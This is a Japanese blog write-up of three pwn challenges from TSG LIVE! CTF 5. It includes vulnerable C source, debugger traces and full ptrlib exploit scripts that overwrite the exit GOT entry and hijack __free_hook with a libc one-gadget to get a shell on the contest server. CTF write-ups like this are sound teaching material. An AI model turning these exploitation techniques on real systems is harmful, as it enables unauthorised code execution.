CTFするぞ

CTF以外のことも書くよ

TSG LIVE! CTF 5のwriteup

競技時間が1時間ちょっとの割にクオリティの高い問題を毎年提供していると噂のTSG LIVE! CTFにyoshikingdomで参加しました。 みなさん気づいていなかったと思いますが、実はyoshikingというユーザーは私でした。

f:id:ptr-yudai:20200921161707p:plain

なんかサブマリンしてたみたいになっていますが、

  • 1に挑戦→サーバーで別のバイナリが動いてる
  • 2に挑戦→勘違いで詰まる
  • 3に挑戦→解ける。間違えて2のサーバーに接続したけどそっちも解けた。
  • 1に挑戦→ポートが直ってて書き終わってたソルバが動いた

という手順なので一気に全部解けました。

pwnは3問あるけど同じ系列でちょっとずつ難易度が上がる感じで、かつソースコードも配布されているので、1時間でもなんとかなるように設計されていました。 (いや2問目が3問目のsubsetになってなかったら終わってなかったかもしれないけど。)

revはangr回して終わったので特に書くことはありません(><;)

他のメンバーのwriteup:

st98.github.io

ソルバと問題ファイル:

bitbucket.org

[pwn 50pts] N bytes man

PIEやRELROが無効です。

$ checksec -f n-bytes-man
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73 Symbols     No       0               2       n-bytes-man

指定したアドレスに指定したバイト数だけ書き込めるようになっています。

int main(void) {
    unsigned long long addr;
    unsigned long long size;
    char buf[0x20];
    setup();
    write(1, "address: ", 9);
    readn(buf, 0x1f);
    addr = strtoull(buf, NULL, 10);
    write(1, "size: ", 9);
    readn(buf, 0x1f);
    size = strtoull(buf, NULL, 10);
    write(1, (char*)addr, size);
    write(1, "data: ", 6);
    readn((char *)addr, size);
    exit(0);
}

friendという関数があり、シェルを起動してくれます。

void friend() {
    execl("/bin/sh", "sh", NULL);
}

したがって、exitのGOTを書き換えればよさそうです。

from ptrlib import *

elf = ELF("./n-bytes-man")
#sock = Process("./n-bytes-man")
sock = Socket("34.84.59.121", 30004)

data = str(elf.got("exit"))
sock.sendlineafter(": ",  data)
sock.sendafter(": ", "8" + "\x00" * 0x1e)
sock.sendafter(": ", p64(elf.symbol("friend")))

sock.interactive()

わい。

$ python solve.py 
[+] __init__: Successfully connected to 34.84.59.121:30004
[ptrlib]$ cat flag
TSGCTF{Did you see how he is good at earning shells?}

[pwn 100pts] one byte man

one byte man with no friend を先に解き、それとまったく同じexploitが刺さったのでそっちを参照。

[pwn 400pts] one byte man with no friend

やはりPIEとRELROが無効です。

$ checksec -f one-byte-man
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73 Symbols     No       0               2       one-byte-man

今度は1バイトしか書き込めません。

int main(void) {
    unsigned long long addr;
    char buf[0x20];
    setup();
    write(1, "address: ", 9);
    readn(buf, 0x1f);
    addr = strtoull(buf, NULL, 10);
    write(1, (char*)addr, 8);
    write(1, "data: ", 6);
    readn((char *)addr, 1);
    exit(0);
}

さすがに1バイトでは何もできないので、まずはこれをnバイトにします。

exit@gotには初期状態で0x400666が書かれている一方、_startのアドレスは0x400680です。 したがって、exit@gotの下位1バイトを書き換えれば何度もmainが呼び出されます。

次に何を書き換えるかが問題で、最初は_IO_2_1_stderr_ + αに偽のファイル構造体を書き込んで_IO_list_allをそっちに向けたのですが、書き終わった頃にlibc-2.31であることを思い出してrm solve.pyしました。

_exitではなくexitが呼ばれていることに着目すると、__elf_set___libc_atexit_element__IO_cleanup__が使えることが分かります。 一方引数となる__rtld_global+2312はローカルとリモートでオフセットが違ったので/bin/shを書き込むことはできませんでした。

ここで、_IO_cleanupの変わりが呼ばれたときのレジスタは次の状態になっています。

*RAX  0x0
*RBX  0x7f73a8fe6608 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7f73a…
*RCX  0x0
 RDX  0x1
*RDI  0x7f73a9022968 (_rtld_global+2312) ◂— 0x0
*RSI  0x600e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x400730 (__do_globa…
*R8   0x1
*R9   0x7ffdb0c222f4 ◂— 0x1
*R10  0x2
*R11  0x7f73a8e42bc0 (exit) ◂— endbr64 
*R12  0x7f73a8fe6610 ◂— 0x0
*R13  0x1
*R14  0x7f73a8fe9fc8 (__exit_funcs_lock) ◂— 0x0
 R15  0x0
*RBP  0x0
*RSP  0x7ffdb0c22428 —▸ 0x7f73a8e42b32 (__run_exit_handlers+514) ◂— add    rbx,…

kusanoさんのone gadgetの記事を読んでいれば、これを見た瞬間に隠れone gadgetが使えることが分かります。 今回はraxもrcxも0ですので、楽そうですね。

しかし脳死でこれを実践すると、movapsに引っかかってしまいます。

   0x7f99aeaa2fa5 <do_system+341>    lea    r8, [rsp + 0x50]
   0x7f99aeaa2faa <do_system+346>    mov    rcx, rbp
   0x7f99aeaa2fad <do_system+349>    mov    qword ptr [rsp + 0x60], rbx
   0x7f99aeaa2fb2 <do_system+354>    mov    r9, qword ptr [rax]
   0x7f99aeaa2fb5 <do_system+357>    lea    rsi, [rip + 0x1625ee]
 ► 0x7f99aeaa2fbc <do_system+364>    movaps xmmword ptr [rsp + 0x50], xmm0
   0x7f99aeaa2fc1 <do_system+369>    mov    qword ptr [rsp + 0x68], 0
   0x7f99aeaa2fca <do_system+378>    call   posix_spawn <0x7f99aeb5d780>

一応ROPとかと違って正常な関数呼び出しだからいけるかなーと思ったけど許してもらえませんでした。

そこで、free関数を一度かますことでrspを揃えることにしました。 free__free_hook呼び出し時にraxを破壊してしまうので、rcx=0の条件でこのone gadgetを使いましょう。

ところが__free_hookの呼び出しはjmpで、かつfreersp + 0x18をしています。

 ► 0x7f73a8e96850 <free>             endbr64 
   0x7f73a8e96854 <free+4>           sub    rsp, 0x18
   0x7f73a8e96858 <free+8>           mov    rax, qword ptr [rip + 0x14d699]
   0x7f73a8e9685f <free+15>          mov    rax, qword ptr [rax]
   0x7f73a8e96862 <free+18>          test   rax, rax
   0x7f73a8e96865 <free+21>          jne    free+152 <0x7f73a8e968e8>
    ↓
   0x7f73a8e968e8 <free+152>         mov    rsi, qword ptr [rsp + 0x18]
   0x7f73a8e968ed <free+157>         add    rsp, 0x18
   0x7f73a8e968f1 <free+161>         jmp    rax

のでfree+8から呼びましょう。

まとめると、_IO_cleanupの変わりにfree+8を入れて、__free_hookにone gadgetを入れればOKです。

from ptrlib import *

libc = ELF("libc.so.6")
elf = ELF("one-byte-man")
#sock = Socket("localhost", 9999)
#sock = Socket("34.84.59.121:30003") # One byte man
sock = Socket("34.84.59.121:30002") # one byte man with no friend

sock.sendlineafter(": ", str(elf.got("exit")))
sock.sendafter(": ", b'\x80')

target = elf.got("puts")
sock.sendlineafter(": ", str(target))
r = sock.recvregex("(.+)data")
libc_base = u64(r[0]) - libc.symbol("puts")
logger.info(hex(libc_base))
sock.sendafter(": ", p64(libc_base + libc.symbol("puts"))[0:1])

target = libc_base + libc.symbol("__free_hook")
payload = p64(libc_base + 0x54f89)
for i in range(len(payload)):
    sock.sendlineafter(": ", str(target + i))
    sock.sendafter(": ", payload[i:i+1])

target = libc_base + 0x1ed608
payload = p64(libc_base + libc.symbol("free") + 8)
for i in range(len(payload)):
    sock.sendlineafter(": ", str(target + i))
    sock.sendafter(": ", payload[i:i+1])

sock.sendlineafter(": ", str(elf.got("exit")))
sock.sendafter(": ", p64(elf.plt("exit") + 6)[0:1])

sock.interactive()

わいわい。

$ python solve.py 
[+] __init__: Successfully connected to 34.84.59.121:30003
[+] <module>: 0x7f8e85803000
[ptrlib]$ cat flag
TSGCTF{We have a lot of money because we have a lot of shells}

わいわいわい。

$ python solve.py 
[+] __init__: Successfully connected to 34.84.59.121:30002
[+] <module>: 0x7f8ac2704000
[ptrlib]$ cat flag
TSGCTF{I lost all friends because of pwning :(}

一石二鳥ってやつやな。